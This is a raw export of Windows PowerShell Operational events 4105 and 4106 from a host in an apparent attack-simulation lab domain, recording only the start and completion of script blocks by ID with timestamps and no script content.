LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038119
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038118
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038117
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038116
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038100
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038099
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038094
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038093
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038071
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038070
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038069
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038068
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
